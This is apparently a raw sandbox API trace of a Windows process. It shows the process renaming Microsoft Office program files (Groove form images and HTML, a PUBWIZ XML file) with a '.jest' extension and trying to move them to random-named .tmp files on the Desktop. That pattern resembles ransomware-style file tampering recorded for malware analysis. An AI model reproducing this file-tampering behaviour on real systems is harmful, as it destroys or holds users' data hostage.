FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.728] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.jest")) returned 1 [0165.731] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.732] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.732] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.732] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.732] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.732] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.733] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.733] GetUserDefaultLCID () returned 0x409 [0165.733] VarBstrFromR4 (in: fltIn=0x479457b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.39") returned 0x0 [0165.733] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a9i3leY F PrncIPlTDxLvgfQQ9M5jOxrLtUh7fEJ6HHJRJ8izlBQ9ChH9Rro5swmKCzcQc1kjpD lWoXZ3sPdfGuSEpzk1xF1rWv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a9i3ley f prncipltdxlvgfqq9m5joxrltuh7fej6hhjrj8izlbq9chh9rro5swmkczcqc1kjpd lwoxz3spdfgusepzk1xf1rwv.tmp")) returned 0 [0165.734] GetLastError () returned 0x2 [0165.734] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.735] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.735] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.736] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.736] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.jest")) returned 1 [0165.738] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.739] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.739] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.739] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.739] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.739] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.739] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x187)) [0165.739] GetUserDefaultLCID () returned 0x409 [0165.739] VarBstrFromR4 (in: fltIn=0x479457b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.39") returned 0x0 [0165.740] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7At58JxOUplKKbLZSgDLvv7TI-QYz9hM79fCfoEkiLPUvGKyK4fSanGlf8lZv iUF HF1TduBC6kcOsb8KXVHybj3-pTFVOyFCyVw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7at58jxouplkkblzsgdlvv7ti-qyz9hm79fcfoekilpuvgkyk4fsanglf8lzv iuf hf1tdubc6kcosb8kxvhybj3-ptfvoyfcyvw.tmp")) returned 0 [0165.741] GetLastError () returned 0x2 [0165.741] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.742] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.742] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.743] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.jest")) returned 1 [0165.786] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.787] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.787] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.787] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1b6)) [0165.788] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.789] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1b6)) [0165.789] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1b6)) [0165.789] GetUserDefaultLCID () returned 0x409 [0165.789] VarBstrFromR4 (in: fltIn=0x479457b8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.44") returned 0x0 [0165.789] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.790] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\48peeZqO LcxEfRUqFWGvTUj6ZzRcrPLSMDqWsS_4kQrF3a99KXpjBHsjlKoL7bkgosCBBOxoZ3ce0W8ec MXyivExp-lV_ MU3ma.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\48peezqo lcxefruqfwgvtuj6zzrcrplsmdqwss_4kqrf3a99kxpjbhsjlkol7bkgoscbboxoz3ce0w8ec mxyivexp-lv_ mu3ma.tmp")) returned 0 [0165.791] GetLastError () returned 0x2 [0165.791] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.791] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.792] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.793] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.793] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.jest")) returned 1 [0165.795] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.795] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.796] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.796] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.796] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.796] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.796] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.797] GetUserDefaultLCID () returned 0x409 [0165.797] VarBstrFromR4 (in: fltIn=0x479457ba, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.45") returned 0x0 [0165.797] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OmUMvii_HiX8KmsPJC8Kqs5Ll cWfQ4JwF7qBL9Qc8pvTetIhPGEERp5wRLOJCwpeXW3P1Eq8HsGSrYrInM6b7Hpb1yM6EhiwvYM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\omumvii_hix8kmspjc8kqs5ll cwfq4jwf7qbl9qc8pvtetihpgeerp5wrlojcwpexw3p1eq8hsgsryrinm6b7hpb1ym6ehiwvym.tmp")) returned 0 [0165.798] GetLastError () returned 0x2 [0165.798] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.799] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.799] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.800] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.jest")) returned 1 [0165.803] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.803] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.804] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.804] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.804] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.804] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.804] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1c6)) [0165.804] GetUserDefaultLCID () returned 0x409 [0165.804] VarBstrFromR4 (in: fltIn=0x479457ba, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.45") returned 0x0 [0165.805] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ogXi ZZf WbwDF3j7rE0udSN80xbolXds1V7BwZtiIt4z7ecL-OvzdQULBt0XOVrEEf0rRqsTrpY4lbHiXA0OPdhQeMCTvzy3JG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogxi zzf wbwdf3j7re0udsn80xbolxds1v7bwztiit4z7ecl-ovzdqulbt0xovreef0rrqstrpy4lbhixa0opdhqemctvzy3jg.tmp")) returned 0 [0165.806] GetLastError () returned 0x2 [0165.806] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.807] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.807] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.808] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.808] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.jest")) returned 1 [0165.810] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.811] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.811] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.811] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1d5)) [0165.811] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.811] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1d5)) [0165.812] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x1d5)) [0165.812] GetUserDefaultLCID () returned 0x409 [0165.812] VarBstrFromR4 (in: fltIn=0x479457bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.47") returned 0x0 [0165.812] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jgRLHt32czIc7xcV1WhVLETZskxFF8 DfqxgQUiF0afzY-idfGwPLk86KggZUBewCOOZqp-2Bhe1xLjFItku4Zy8WvFv-vfXnYi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jgrlht32czic7xcv1whvletzskxff8 dfqxgquif0afzy-idfgwplk86kggzubewcoozqp-2bhe1xljfitku4zy8wvfv-vfxnyi.tmp")) returned 0 [0165.813] GetLastError () returned 0x2 [0165.814] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.814] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.815] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.jest")) returned 1 [0165.818] VarBstrFromR4 (in: fltIn=0x479457bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.47") returned 0x0 [0165.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 0SYBvuNyWtXJHjCBGCoOPDxV8jXhZmUKWfqkITSVI_-pgwrEbkyN62DiJIKfuD7n5cMAPXor0D89ml-JpPl2ZzZ42PpMSznm6arg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ 0sybvunywtxjhjcbgcoopdxv8jxhzmukwfqkitsvi_-pgwrebkyn62dijikfud7n5cmapxor0d89ml-jppl2zzz42ppmsznm6arg.tmp")) returned 0 [0165.819] GetLastError () returned 0x2 [0165.820] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="️", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.jest")) returned 1 [0165.822] VarBstrFromR4 (in: fltIn=0x479457be, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.48") returned 0x0 [0165.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_JoL-6osLd9-3R9CGwHhLr7CZupnbMw -ymh_ss1HpzubKchXplp4YCUmOnvPQ H3snitMFNZVK16ebPu-2eoLKp0LboEoPpSCUkr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_jol-6osld9-3r9cgwhhlr7czupnbmw -ymh_ss1hpzubkchxplp4ycumonvpq h3snitmfnzvk16ebpu-2eolkp0lboeoppscukr.tmp")) returned 0 [0165.823] GetLastError () returned 0x2 [0165.824] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ￂ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.825] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ￇ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, 